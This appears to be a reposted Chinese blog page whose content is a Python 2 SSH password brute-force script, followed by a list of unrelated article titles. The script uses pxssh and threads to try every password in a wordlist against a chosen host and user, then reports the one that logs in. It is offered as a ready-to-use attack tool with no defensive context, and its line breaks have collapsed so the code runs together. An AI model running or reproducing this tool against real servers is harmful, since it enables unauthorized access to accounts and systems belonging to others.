博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
python 强势破解 ssh
阅读量:7119 次
发布时间:2019-06-28

本文共 1888 字,大约阅读时间需要 6 分钟。

hot3.png

import pxsshimport optparseimport timeimport fileinputfrom threading import *maxConnections = 5connection_lock = BoundedSemaphore(value=maxConnections)Found = FalseFails = 0def connect(host, user, password, release):    global Found    global Fails    try:        s = pxssh.pxssh()        s.login(host, user, password)        print '[+] Password Found: ' + password        Found = True    except Exception, e:        if 'read-nonblocking' in str(e):            Fails +=1            time.sleep(5)            connect(host, user, password, False)        elif 'synchronize with original prompt' in str(e):            time.sleep(1)            connect(host, user, password, False)    finally:        if release: connection_lock.release()def main():    parser = optparse.OptionParser('usage%prog '+\    '-H-u-F')    parser.add_option('-H', dest='tgtHost', type='string',\    help='Specify target host')    parser.add_option('-F', dest='passwdFile', type='string',\    help='Specify password file')    parser.add_option('-u', dest='user', type='string',\    help='Specify the user')    (options, args) = parser.parse_args()    host = options.tgtHost    passwdFile = options.passwdFile    user = options.user    if host == None or passwdFile == None or user == None:        print parser.usage        exit(0)    fn = open(passwdFile, 'r')    for line in fn.readlines():#        connection_lock.acquire()        password = line.strip('\r').strip('\n') #           if Fails > 5:  #              print "[!] Exiting: Too Many Socket Timeouts"   #             exit(0)        connection_lock.acquire()        print "[-] testing: "+str(password)        t = Thread(target=connect, args=(host, user, password, True))        if Found:            print "[*] Exiting: Password found"            exit(0)        child = t.start()if __name__ == '__main__':    main()

转载于:https://my.oschina.net/liunkor/blog/171226

你可能感兴趣的文章
iOS学习笔记20 地图(二)MapKit框架
查看>>
spring cloud互联网分布式微服务云平台规划分析--spring cloud定时调度平台
查看>>
postgreSQL 9.1 的安装、基本配置、简单使用
查看>>
Visual Sudio 复制窗体文件
查看>>
实例变量并不安全(java)
查看>>
修改系统文件(cookie、桌面、我的文档)位置
查看>>
我的友情链接
查看>>
Google Auth+openssh
查看>>
Windows 8 新启动方式:混合启动(Hybrid Boot)
查看>>
发布/订阅模式
查看>>
【Logstash 1.5.6】
查看>>
精度计算-大数乘小数
查看>>
X3D.Engine应用领域
查看>>
axis2 client namespace mismatch
查看>>
Golang、python中的字符串、slice、list性能研究。
查看>>
Emulator:This AVD's configuration is missing a ...
查看>>
我的友情链接
查看>>
SQLite Administrator 中文乱码的问题
查看>>
某网贷平台遭受***
查看>>
ElasticSearch 查询
查看>>